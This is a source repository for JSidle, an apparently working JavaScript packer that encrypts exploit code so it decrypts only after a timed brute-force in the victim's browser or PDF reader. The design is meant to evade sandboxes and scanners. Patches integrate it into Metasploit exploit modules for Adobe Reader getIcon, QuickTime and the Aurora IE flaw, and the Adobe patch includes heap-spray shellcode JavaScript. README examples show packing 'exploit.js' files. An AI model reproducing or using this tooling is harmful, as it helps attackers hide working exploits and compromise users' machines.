├── LICENSE ├── README.textile ├── jsidle ├── lib ├── jsidle.rb └── md5-min.js ├── metasploit ├── adobe_geticon.patch ├── apple_quicktime_marshaled_punk.patch ├── jsidle.patch └── ms10_002_aurora.patch └── tools └── benchmark.html /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2010, Sven Taute 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | * Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | * Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | * Neither the name of the author nor the 12 | names of contributors may be used to endorse or promote products 13 | derived from this software without specific prior written permission. 14 | 15 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 16 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY 19 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | -------------------------------------------------------------------------------- /README.textile: -------------------------------------------------------------------------------- 1 | h1. JSidle Javascript Packer 2 | 3 | Blog post about the JSidle packer: http://relentless-coding.blogspot.com/2010/07/new-javascript-packer-jsidle.html 4 | 5 | The concept of the JSidle packer is described in the Hack in the Box magazine, Volume 1, Issue 3. 6 | Get it here: http://magazine.hitb.org 7 | 8 | 9 | h2. Usage 10 | 11 |
12 | ./jsidle [ -i file ] [ -o file ] [ opt1=val1 opt2=val2 ... ]
13 | options: delay=
14 |          include_md5lib=true|false
15 |          mode=web|pdf
16 |          speed=
17 |          static=true|false
18 |          strip_comments=true|false
19 | 
20 | 21 | h2. Examples 22 | 23 | Asssuming tools/benchmark.html showed a speed of 20000 and you want the delay to be 5 seconds in the target browser: 24 |
25 | ./jsidle -i exploit.js -o packed.js speed=20000 delay=5
26 | 
27 | 28 | Using the query string feature (the query string key will be printed to STDERR): 29 |
30 | echo "alert('owned')" | ./jsidle -o exploit.js speed=20000 delay=5 static=false
31 | 
32 | 33 | Packing Javascript for usage in PDF files: 34 |
35 | ./jsidle -i pdf-exploit.js -o packed.js mode=pdf speed=300
36 | 
37 | 38 | -------------------------------------------------------------------------------- /jsidle: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # JSidle Javascript packer 4 | # Author: Sven Taute 5 | # Version: 1.0 6 | # Web: http://github.com/svent/jsidle 7 | 8 | require 'lib/jsidle' 9 | 10 | if ARGV.length == 1 || ARGV[0] =~ /-h|--help/ then 11 | puts %Q!Usage: #{$0} [ -i file ] [ -o file ] [ opt1=val1 opt2=val2 ... ] 12 | options: delay= 13 | include_md5lib=true|false 14 | mode=web|pdf 15 | speed= 16 | static=true|false 17 | strip_comments=true|false 18 | ! 19 | exit 20 | end 21 | 22 | in_file = STDIN 23 | out_file = STDOUT 24 | while ARGV.length >= 2 && ARGV[0][0, 1] == "-" 25 | opt = ARGV.shift 26 | in_file = File.open(ARGV.shift) if opt == "-i" 27 | out_file = File.new(ARGV.shift, "wb") if opt == "-o" 28 | end 29 | 30 | @opts = {} 31 | 32 | while arg = ARGV.shift 33 | opt, val = arg.split('=') 34 | if ["true", "false"].include?(val) 35 | val = eval(val) 36 | elsif ["web", "pdf"].include?(val) 37 | val = eval(":#{val}") 38 | elsif val =~ /^\d+$/ 39 | val = val.to_i 40 | else 41 | puts "illegal argument '#{val}' for option '#{opt}'" 42 | exit 43 | end 44 | @opts[opt.to_sym] = val 45 | end 46 | 47 | code = in_file.read 48 | packer = JSidle.new(code, @opts) 49 | 50 | qskey = packer.qstring_key 51 | res = packer.pack() 52 | 53 | puts "query string key: " + qskey if @opts[:static] == false 54 | 55 | out_file.puts(res[:js_encoded]) 56 | 57 | -------------------------------------------------------------------------------- /lib/jsidle.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # JSidle Javascript packer 4 | # Author: Sven Taute 5 | # Version: 1.0 6 | # Web: http://github.com/svent/jsidle 7 | 8 | require 'digest/md5' 9 | 10 | class JSidle 11 | 12 | MD5_LIB = File.join(File.expand_path(File.dirname(__FILE__)), 'md5-min.js') 13 | MD5_FUNC = "hex_md5" 14 | GUESS_KEY_COUNT = 5 15 | # english language letter frequency 16 | LETTER_FREQUENCY = { 17 | "a" => 0.0761310205517612, 18 | "b" => 0.0195636854368974, 19 | "c" => 0.0404640533988629, 20 | "d" => 0.0366881926020504, 21 | "e" => 0.116102105435379, 22 | "f" => 0.0136822823265975, 23 | "g" => 0.028795349628028, 24 | "h" => 0.0221964153382716, 25 | "i" => 0.0876371837275477, 26 | "j" => 0.00187991030325584, 27 | "k" => 0.00871196202538414, 28 | "l" => 0.0537784806945616, 29 | "m" => 0.0274565284109197, 30 | "n" => 0.0694123195077586, 31 | "o" => 0.0613826002431693, 32 | "p" => 0.02824570577372, 33 | "q" => 0.00183072038633333, 34 | "r" => 0.0738116090342629, 35 | "s" => 0.0891364068476642, 36 | "t" => 0.0664694792605686, 37 | "u" => 0.033405300320483, 38 | "v" => 0.0104004593910502, 39 | "w" => 0.00857615508083721, 40 | "x" => 0.00290648248250817, 41 | "y" => 0.0169491344178641, 42 | "z" => 0.00438645737426362 43 | } 44 | 45 | attr_accessor :js 46 | attr_reader :opts 47 | attr_reader :qstring_key 48 | 49 | def initialize(js = "", opts = {}) 50 | @rand_chars = ("a".."z").to_a 51 | @js = js 52 | @qstring_key = rand_string(5 + rand(10)) 53 | @opts = { 54 | :delay => 2, 55 | :include_md5lib => true, 56 | :mode => :web, 57 | :speed => 500, 58 | :static => true, 59 | :strip_comments => true, 60 | } 61 | update_opts(opts) 62 | end 63 | 64 | def update_opts(opts) 65 | @opts.each_key do |k| 66 | @opts[k] = opts[k] if !opts[k].nil? 67 | end 68 | end 69 | 70 | def <<(str) 71 | @js << str 72 | end 73 | def +(str) 74 | @js + str 75 | end 76 | 77 | def obfuscate(js) 78 | vars = [] 79 | funcs = [] 80 | func_args = [] 81 | method_calls = [] 82 | symbols_taken = {} 83 | 84 | js = strip_comments(js) 85 | vars = js.scan(/var\s+\b(.+?)\b/).flatten 86 | funcs = js.scan(/function\s+([A-Za-z0-9_]+)\(/).flatten 87 | func_args = js.scan(/function\s+[A-Za-z0-9_]+\(([^)]*)\)/).flatten.map { |e| e.split(/,\s*/) }.flatten 88 | labels = js.scan(/^\s*([A-Za-z0-9_]+):\s*$/m).flatten 89 | 90 | [vars, funcs, func_args, labels].flatten.sort {|a, b| b.length <=> a.length}.uniq.each do |arg| 91 | symbol = rand_word(3 + rand(3)) while !symbol || symbols_taken[symbol] 92 | symbols_taken[symbol] = true 93 | js.gsub!(/\b#{arg}\b/, symbol) 94 | end 95 | 96 | method_calls = js.scan(/((?:[A-Za-z0-9]+\.)*[A-Za-z0-9]+)\.([a-z][A-Za-z0-9_]*)/) 97 | method_calls.each do |mc| 98 | obj, call = mc 99 | js.gsub!(/\b#{obj}\.#{call}\b/, "#{obj}[#{frag_str(call)}]") 100 | end 101 | 102 | return js 103 | end 104 | 105 | def pack(opts = {}) 106 | update_opts(opts) 107 | js = @js 108 | qstring_key = @qstring_key 109 | server_key = rand_string(5 + rand(10)) 110 | salt = rand_string(10 + rand(10)) 111 | guess_keys = gen_guess_keys(@opts[:speed]) 112 | key = qstring_key + server_key + guess_keys.join("") 113 | guess_keys_md5 = guess_keys.map { |e| Digest::MD5.hexdigest(salt + e) } 114 | key_md5 = Digest::MD5.hexdigest(key) 115 | 116 | js = strip_comments(js) if @opts[:strip_comments] 117 | encoded = xor_encode(js, key_md5) 118 | 119 | encoded = encoded.unpack("H*")[0] 120 | 121 | eval_call = @opts[:mode] == :pdf ? "app.eval" : "window.eval" 122 | 123 | js_encoded = <<-ENDJS 124 | // prevent known ciphertext, otherwise the xor-key could easily be calculated 125 | var dummy = '#{rand_string(20 + rand(30))}'; 126 | var exploit = '!!!ENCODEDEXPLOIT!!!'; 127 | var encoded = ''; 128 | for (i = 0;i 0) { 147 | var mod = num % 26; 148 | guess[i] = chars.substring(mod, mod + 1) + guess[i]; 149 | num = Math.floor(num / 26); 150 | } 151 | if (#{MD5_FUNC}(salt + guess[i]) == guess_keys_md5[i]) { 152 | break; 153 | } 154 | round++; 155 | } 156 | } 157 | var key = #{MD5_FUNC}(partkey + guess.join("")); 158 | var decoded = ''; 159 | for (i=0;ix then 201 | str << e 202 | break 203 | end 204 | s 205 | end 206 | end 207 | str 208 | end 209 | 210 | def gen_guess_keys(speed) 211 | chars = ("a".."z").to_a 212 | speed = speed * @opts[:delay] 213 | values = 0 214 | until values > 0 && values/speed.to_f > 0.7 && values/speed.to_f < 1.3 215 | keys = [] 216 | values = 0 217 | GUESS_KEY_COUNT.times do |c| 218 | key = "" 219 | val = rand(speed * 2 / GUESS_KEY_COUNT) 220 | values += val 221 | while val > 0 222 | m = val % 26 223 | key << chars[m] 224 | val /= 26 225 | end 226 | keys << key.reverse 227 | end 228 | end 229 | keys 230 | end 231 | 232 | def frag_str(str, t = 0.85, first_call = true) 233 | return "'#{str}'" if t < 0.1 || str.length < 2 234 | pos = rand(str.length - 1) + 1 235 | if rand > t ** 2 236 | res = [ encode_str(str[0, pos]), encode_str(str[pos, str.length]) ] 237 | else 238 | res = [ frag_str(str[0, pos], t ** 2, false), frag_str(str[pos, str.length], t ** 2, false) ] 239 | end 240 | if first_call then 241 | return res.flatten.join(" + ") 242 | else 243 | return res 244 | end 245 | end 246 | 247 | def encode_str(str) 248 | case rand(2) 249 | when 0 250 | return "'\\x" + str.unpack("H*")[0].scan(/../).join("\\x") + "'" 251 | when 1 252 | chars = ("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a 253 | unused_chars = chars - str.split(//) 254 | chars_to_remove = "" 255 | call = str.split(//).map do |c| 256 | chars_to_remove << rnd = rand_string(1 + rand(2), unused_chars) 257 | c + rnd 258 | end.join('') 259 | return "'#{call}'.replace(/[#{chars_to_remove}]/g, '')" 260 | end 261 | end 262 | 263 | def xor_encode(str, key) 264 | enc = "" 265 | pos = 0 266 | while pos < str.length 267 | enc << (str[pos,1].unpack("C*")[0] ^ key[pos % key.length, 1].unpack("C*")[0]).chr 268 | pos += 1 269 | end 270 | enc 271 | end 272 | 273 | def strip_comments(code) 274 | code.gsub(%r!^\s*//.*$!, '').gsub(%r!/\*.*?\*/!m, '').gsub(/(\r?\n){2,}/, "\r\n") 275 | end 276 | 277 | end 278 | -------------------------------------------------------------------------------- /lib/md5-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message 3 | * Digest Algorithm, as defined in RFC 1321. 4 | * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009 5 | * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet 6 | * Distributed under the BSD License 7 | * See http://pajhome.org.uk/crypt/md5 for more info. 8 | */ 9 | var hexcase=0;function hex_md5(a){return rstr2hex(rstr_md5(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"}function rstr_md5(a){return binl2rstr(binl_md5(rstr2binl(a),a.length*8))}function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=binl_md5(e,c.length*8)}var a=Array(16),d=Array(16);for(var b=0;b<16;b++){a[b]=e[b]^909522486;d[b]=e[b]^1549556828}var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g){hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";var b="";var a;for(var d=0;d>>4)&15)+f.charAt(a&15)}return b}function str2rstr_utf8(c){var b="";var d=-1;var a,e;while(++d>>6)&31),128|(a&63))}else{if(a<=65535){b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))}else{if(a<=2097151){b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var c=0;c>5]|=(b.charCodeAt(c/8)&255)<<(c%32)}return a}function binl2rstr(b){var a="";for(var c=0;c>5]>>>(c%32))&255)}return a}function binl_md5(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var o=1732584193;var n=-271733879;var m=-1732584194;var l=271733878;for(var g=0;g>16)+(d>>16)+(c>>16);return(b<<16)|(c&65535)}function bit_rol(a,b){return(a<>>(32-b))}; -------------------------------------------------------------------------------- /metasploit/adobe_geticon.patch: -------------------------------------------------------------------------------- 1 | Index: modules/exploits/windows/fileformat/adobe_geticon.rb 2 | =================================================================== 3 | --- modules/exploits/windows/fileformat/adobe_geticon.rb (revision 9741) 4 | +++ modules/exploits/windows/fileformat/adobe_geticon.rb (working copy) 5 | @@ -11,6 +11,7 @@ 6 | 7 | require 'msf/core' 8 | require 'zlib' 9 | +require 'rex/exploitation/jsidle' 10 | 11 | class Metasploit3 < Msf::Exploit::Remote 12 | Rank = GoodRanking 13 | @@ -81,40 +82,30 @@ 14 | # Make some nops 15 | nops = Rex::Text.to_unescape(make_nops(4)) 16 | 17 | - # Randomize variables 18 | - rand1 = rand_text_alpha(rand(100) + 1) 19 | - rand2 = rand_text_alpha(rand(100) + 1) 20 | - rand3 = rand_text_alpha(rand(100) + 1) 21 | - rand4 = rand_text_alpha(rand(100) + 1) 22 | - rand5 = rand_text_alpha(rand(100) + 1) 23 | - rand6 = rand_text_alpha(rand(100) + 1) 24 | - rand7 = rand_text_alpha(rand(100) + 1) 25 | - rand8 = rand_text_alpha(rand(100) + 1) 26 | - rand9 = rand_text_alpha(rand(100) + 1) 27 | - rand10 = rand_text_alpha(rand(100) + 1) 28 | - rand11 = rand_text_alpha(rand(100) + 1) 29 | - rand12 = rand_text_alpha(rand(100) + 1) 30 | - 31 | script = %Q| 32 | - var #{rand1} = unescape("#{shellcode}"); 33 | - var #{rand2} =""; 34 | - for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}"); 35 | - #{rand4} = #{rand2} + #{rand1}; 36 | - #{rand5} = unescape("#{nops}"); 37 | - #{rand6} = 20; 38 | - #{rand7} = #{rand6}+#{rand4}.length 39 | - while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5}; 40 | - #{rand8} = #{rand5}.substring(0, #{rand7}); 41 | - #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7}); 42 | - while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8}; 43 | - #{rand10} = new Array(); 44 | - for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4}; 45 | - var #{rand12} = unescape("%0a"); 46 | - while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12}; 47 | - #{rand12} = "N."+#{rand12}; 48 | - Collab.getIcon(#{rand12}); 49 | + var rand1 = unescape("#{shellcode}"); 50 | + var rand2 =""; 51 | + for (rand3=128;rand3>=0;--rand3) rand2 += unescape("#{nops}"); 52 | + rand4 = rand2 + rand1; 53 | + rand5 = unescape("#{nops}"); 54 | + rand6 = 20; 55 | + rand7 = rand6+rand4.length 56 | + while (rand5.length :pdf) 69 | + res = @packer.pack() 70 | + script = res[:js_encoded] 71 | + 72 | # Create the pdf 73 | pdf = make_pdf(script) 74 | 75 | -------------------------------------------------------------------------------- /metasploit/apple_quicktime_marshaled_punk.patch: -------------------------------------------------------------------------------- 1 | Index: modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb 2 | =================================================================== 3 | --- modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb (revision 10204) 4 | +++ modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb (working copy) 5 | @@ -10,6 +10,7 @@ 6 | ## 7 | 8 | require 'msf/core' 9 | +require 'rex/exploitation/jsidle' 10 | 11 | class Metasploit3 < Msf::Exploit::Remote 12 | Rank = GreatRanking 13 | @@ -90,10 +91,17 @@ 14 | 'Privileged' => false, 15 | 'DisclosureDate' => 'Aug 30 2010', 16 | 'DefaultTarget' => 0)) 17 | + 18 | + @packer = Rex::Exploitation::JSidle.new(:static => false) 19 | end 20 | 21 | def on_request_uri(client, request) 22 | 23 | + if (!request.uri.match(/\?\w+/)) 24 | + send_local_redirect(client, "?#{@packer.qstring_key}") 25 | + return 26 | + end 27 | + 28 | return if ((p = regenerate_payload(client)) == nil) 29 | 30 | print_status("Sending #{self.name} exploit HTML to #{client.peerhost}:#{client.peerport}...") 31 | @@ -224,11 +232,15 @@ 32 | 33 | hl_js = heaplib(custom_js) 34 | 35 | + @packer.js = hl_js 36 | + res = @packer.pack() 37 | + js_encoded = res[:js_encoded] 38 | + 39 | content = <<-EOF 40 | 41 | 42 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /metasploit/jsidle.patch: -------------------------------------------------------------------------------- 1 | Index: lib/rex/exploitation/jsidle.rb 2 | =================================================================== 3 | --- lib/rex/exploitation/jsidle.rb (revision 0) 4 | +++ lib/rex/exploitation/jsidle.rb (revision 0) 5 | @@ -0,0 +1,282 @@ 6 | +# 7 | +# JSidle Javascript packer 8 | +# Author: Sven Taute 9 | +# Version: 1.0 10 | +# Web: http://github.com/svent/jsidle 11 | +# 12 | +require 'digest/md5' 13 | + 14 | +module Rex 15 | +module Exploitation 16 | + 17 | +class JSidle 18 | + 19 | + MD5_LIB = File.join(Msf::Config.data_directory, "js", "md5-min.js") 20 | + MD5_FUNC = "hex_md5" 21 | + GUESS_KEY_COUNT = 5 22 | + # english language letter frequency 23 | + LETTER_FREQUENCY = { 24 | + "a" => 0.0761310205517612, 25 | + "b" => 0.0195636854368974, 26 | + "c" => 0.0404640533988629, 27 | + "d" => 0.0366881926020504, 28 | + "e" => 0.116102105435379, 29 | + "f" => 0.0136822823265975, 30 | + "g" => 0.028795349628028, 31 | + "h" => 0.0221964153382716, 32 | + "i" => 0.0876371837275477, 33 | + "j" => 0.00187991030325584, 34 | + "k" => 0.00871196202538414, 35 | + "l" => 0.0537784806945616, 36 | + "m" => 0.0274565284109197, 37 | + "n" => 0.0694123195077586, 38 | + "o" => 0.0613826002431693, 39 | + "p" => 0.02824570577372, 40 | + "q" => 0.00183072038633333, 41 | + "r" => 0.0738116090342629, 42 | + "s" => 0.0891364068476642, 43 | + "t" => 0.0664694792605686, 44 | + "u" => 0.033405300320483, 45 | + "v" => 0.0104004593910502, 46 | + "w" => 0.00857615508083721, 47 | + "x" => 0.00290648248250817, 48 | + "y" => 0.0169491344178641, 49 | + "z" => 0.00438645737426362 50 | + } 51 | + 52 | + attr_accessor :js 53 | + attr_reader :opts 54 | + attr_reader :qstring_key 55 | + 56 | + def initialize(js = "", opts = {}) 57 | + @rand_chars = ("a".."z").to_a 58 | + @js = js 59 | + @qstring_key = rand_string(5 + rand(10)) 60 | + @opts = { 61 | + :delay => 2, 62 | + :include_md5lib => true, 63 | + :mode => :web, 64 | + :speed => 500, 65 | + :static => true, 66 | + :strip_comments => true, 67 | + } 68 | + update_opts(opts) 69 | + end 70 | + 71 | + def update_opts(opts) 72 | + @opts.each_key do |k| 73 | + @opts[k] = opts[k] if !opts[k].nil? 74 | + end 75 | + end 76 | + 77 | + def <<(str) 78 | + @js << str 79 | + end 80 | + def +(str) 81 | + @js + str 82 | + end 83 | + 84 | + def obfuscate(js) 85 | + vars = [] 86 | + funcs = [] 87 | + func_args = [] 88 | + method_calls = [] 89 | + symbols_taken = {} 90 | + 91 | + js = strip_comments(js) 92 | + vars = js.scan(/var\s+\b(.+?)\b/).flatten 93 | + funcs = js.scan(/function\s+([A-Za-z0-9_]+)\(/).flatten 94 | + func_args = js.scan(/function\s+[A-Za-z0-9_]+\(([^)]*)\)/).flatten.map { |e| e.split(/,\s*/) }.flatten 95 | + labels = js.scan(/^\s*([A-Za-z0-9_]+):\s*$/m).flatten 96 | + 97 | + [vars, funcs, func_args, labels].flatten.sort {|a, b| b.length <=> a.length}.uniq.each do |arg| 98 | + symbol = rand_word(3 + rand(3)) while !symbol || symbols_taken[symbol] 99 | + symbols_taken[symbol] = true 100 | + js.gsub!(/\b#{arg}\b/, symbol) 101 | + end 102 | + 103 | + method_calls = js.scan(/((?:[A-Za-z0-9]+\.)*[A-Za-z0-9]+)\.([a-z][A-Za-z0-9_]*)/) 104 | + method_calls.each do |mc| 105 | + obj, call = mc 106 | + js.gsub!(/\b#{obj}\.#{call}\b/, "#{obj}[#{frag_str(call)}]") 107 | + end 108 | + 109 | + return js 110 | + end 111 | + 112 | + def pack(opts = {}) 113 | + update_opts(opts) 114 | + js = @js 115 | + qstring_key = @qstring_key 116 | + server_key = rand_string(5 + rand(10)) 117 | + salt = rand_string(10 + rand(10)) 118 | + guess_keys = gen_guess_keys(@opts[:speed]) 119 | + key = qstring_key + server_key + guess_keys.join("") 120 | + guess_keys_md5 = guess_keys.map { |e| Digest::MD5.hexdigest(salt + e) } 121 | + key_md5 = Digest::MD5.hexdigest(key) 122 | + 123 | + js = strip_comments(js) if @opts[:strip_comments] 124 | + encoded = xor_encode(js, key_md5) 125 | + 126 | + encoded = encoded.unpack("H*")[0] 127 | + 128 | + eval_call = @opts[:mode] == :pdf ? "app.eval" : "window.eval" 129 | + 130 | + js_encoded = <<-ENDJS 131 | + // prevent known ciphertext, otherwise the xor-key could easily be calculated 132 | + var dummy = '#{rand_string(20 + rand(30))}'; 133 | + var exploit = '!!!ENCODEDEXPLOIT!!!'; 134 | + var encoded = ''; 135 | + for (i = 0;i 0) { 154 | + var mod = num % 26; 155 | + guess[i] = chars.substring(mod, mod + 1) + guess[i]; 156 | + num = Math.floor(num / 26); 157 | + } 158 | + if (#{MD5_FUNC}(salt + guess[i]) == guess_keys_md5[i]) { 159 | + break; 160 | + } 161 | + round++; 162 | + } 163 | + } 164 | + var key = #{MD5_FUNC}(partkey + guess.join("")); 165 | + var decoded = ''; 166 | + for (i=0;ix then 208 | + str << e 209 | + break 210 | + end 211 | + s 212 | + end 213 | + end 214 | + str 215 | + end 216 | + 217 | + def gen_guess_keys(speed) 218 | + chars = ("a".."z").to_a 219 | + speed = speed * @opts[:delay] 220 | + values = 0 221 | + until values > 0 && values/speed.to_f > 0.7 && values/speed.to_f < 1.3 222 | + keys = [] 223 | + values = 0 224 | + GUESS_KEY_COUNT.times do |c| 225 | + key = "" 226 | + val = rand(speed * 2 / GUESS_KEY_COUNT) 227 | + values += val 228 | + while val > 0 229 | + m = val % 26 230 | + key << chars[m] 231 | + val /= 26 232 | + end 233 | + keys << key.reverse 234 | + end 235 | + end 236 | + keys 237 | + end 238 | + 239 | + def frag_str(str, t = 0.85, first_call = true) 240 | + return "'#{str}'" if t < 0.1 || str.length < 2 241 | + pos = rand(str.length - 1) + 1 242 | + if rand > t ** 2 243 | + res = [ encode_str(str[0, pos]), encode_str(str[pos, str.length]) ] 244 | + else 245 | + res = [ frag_str(str[0, pos], t ** 2, false), frag_str(str[pos, str.length], t ** 2, false) ] 246 | + end 247 | + if first_call then 248 | + return res.flatten.join(" + ") 249 | + else 250 | + return res 251 | + end 252 | + end 253 | + 254 | + def encode_str(str) 255 | + case rand(2) 256 | + when 0 257 | + return "'\\x" + str.unpack("H*")[0].scan(/../).join("\\x") + "'" 258 | + when 1 259 | + chars = ("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a 260 | + unused_chars = chars - str.split(//) 261 | + chars_to_remove = "" 262 | + call = str.split(//).map do |c| 263 | + chars_to_remove << rnd = rand_string(1 + rand(2), unused_chars) 264 | + c + rnd 265 | + end.join('') 266 | + return "'#{call}'.replace(/[#{chars_to_remove}]/g, '')" 267 | + end 268 | + end 269 | + 270 | + def xor_encode(str, key) 271 | + enc = "" 272 | + pos = 0 273 | + while pos < str.length 274 | + enc << (str[pos,1].unpack("C*")[0] ^ key[pos % key.length, 1].unpack("C*")[0]).chr 275 | + pos += 1 276 | + end 277 | + enc 278 | + end 279 | + 280 | + def strip_comments(code) 281 | + code.gsub(%r!^\s*//.*$!, '').gsub(%r!/\*.*?\*/!m, '').gsub(/(\r?\n){2,}/, "\r\n") 282 | + end 283 | + 284 | +end 285 | + 286 | +end 287 | +end 288 | Index: data/js/md5-min.js 289 | =================================================================== 290 | --- data/js/md5-min.js (revision 0) 291 | +++ data/js/md5-min.js (revision 0) 292 | @@ -0,0 +1,9 @@ 293 | +/* 294 | + * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message 295 | + * Digest Algorithm, as defined in RFC 1321. 296 | + * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009 297 | + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet 298 | + * Distributed under the BSD License 299 | + * See http://pajhome.org.uk/crypt/md5 for more info. 300 | + */ 301 | +var hexcase=0;function hex_md5(a){return rstr2hex(rstr_md5(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return rstr2hex(rstr_hmac_md5(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase()=="900150983cd24fb0d6963f7d28e17f72"}function rstr_md5(a){return binl2rstr(binl_md5(rstr2binl(a),a.length*8))}function rstr_hmac_md5(c,f){var e=rstr2binl(c);if(e.length>16){e=binl_md5(e,c.length*8)}var a=Array(16),d=Array(16);for(var b=0;b<16;b++){a[b]=e[b]^909522486;d[b]=e[b]^1549556828}var g=binl_md5(a.concat(rstr2binl(f)),512+f.length*8);return binl2rstr(binl_md5(d.concat(g),512+128))}function rstr2hex(c){try{hexcase}catch(g){hexcase=0}var f=hexcase?"0123456789ABCDEF":"0123456789abcdef";var b="";var a;for(var d=0;d>>4)&15)+f.charAt(a&15)}return b}function str2rstr_utf8(c){var b="";var d=-1;var a,e;while(++d>>6)&31),128|(a&63))}else{if(a<=65535){b+=String.fromCharCode(224|((a>>>12)&15),128|((a>>>6)&63),128|(a&63))}else{if(a<=2097151){b+=String.fromCharCode(240|((a>>>18)&7),128|((a>>>12)&63),128|((a>>>6)&63),128|(a&63))}}}}}return b}function rstr2binl(b){var a=Array(b.length>>2);for(var c=0;c>5]|=(b.charCodeAt(c/8)&255)<<(c%32)}return a}function binl2rstr(b){var a="";for(var c=0;c>5]>>>(c%32))&255)}return a}function binl_md5(p,k){p[k>>5]|=128<<((k)%32);p[(((k+64)>>>9)<<4)+14]=k;var o=1732584193;var n=-271733879;var m=-1732584194;var l=271733878;for(var g=0;g>16)+(d>>16)+(c>>16);return(b<<16)|(c&65535)}function bit_rol(a,b){return(a<>>(32-b))}; 302 | \ No newline at end of file 303 | -------------------------------------------------------------------------------- /metasploit/ms10_002_aurora.patch: -------------------------------------------------------------------------------- 1 | Index: modules/exploits/windows/browser/ms10_002_aurora.rb 2 | =================================================================== 3 | --- modules/exploits/windows/browser/ms10_002_aurora.rb (revision 9725) 4 | +++ modules/exploits/windows/browser/ms10_002_aurora.rb (working copy) 5 | @@ -10,6 +10,7 @@ 6 | ## 7 | 8 | require 'msf/core' 9 | +require 'rex/exploitation/jsidle' 10 | 11 | class Metasploit3 < Msf::Exploit::Remote 12 | Rank = NormalRanking 13 | @@ -75,7 +76,7 @@ 14 | 'DisclosureDate' => 'Jan 14 2009', # wepawet sample 15 | 'DefaultTarget' => 0)) 16 | 17 | - @javascript_encode_key = rand_text_alpha(rand(10) + 10) 18 | + @packer = Rex::Exploitation::JSidle.new(:static => false) 19 | end 20 | 21 | def on_request_uri(cli, request) 22 | @@ -87,68 +88,55 @@ 23 | end 24 | 25 | if (!request.uri.match(/\?\w+/)) 26 | - send_local_redirect(cli, "?#{@javascript_encode_key}") 27 | + send_local_redirect(cli, "?#{@packer.qstring_key}") 28 | return 29 | end 30 | 31 | - var_boom = rand_text_alpha(rand(100) + 1) 32 | - 33 | - var_element = rand_text_alpha(rand(100) + 1) 34 | - var_event = rand_text_alpha(rand(100) + 1) 35 | + var_span_id = rand_text_alpha(rand(100) + 1) 36 | + var_start = rand_text_alpha(rand(100) + 1) 37 | var_loaded = rand_text_alpha(rand(100) + 1) 38 | - var_loaded_arg = rand_text_alpha(rand(100) + 1) 39 | 40 | - var_memory = rand_text_alpha(rand(100) + 1) 41 | - var_spray = rand_text_alpha(rand(100) + 1) 42 | - var_i = rand_text_alpha(rand(100) + 1) 43 | - 44 | - var_el_array = rand_text_alpha(rand(100) + 1) 45 | bleh = rand_text_alpha(3); 46 | - var_grab_mem = rand_text_alpha(rand(100) + 1) 47 | 48 | - var_unescape = rand_text_alpha(rand(100) + 1) 49 | - var_shellcode = rand_text_alpha(rand(100) + 1) 50 | - 51 | - var_span_id = rand_text_alpha(rand(100) + 1) 52 | - var_start = 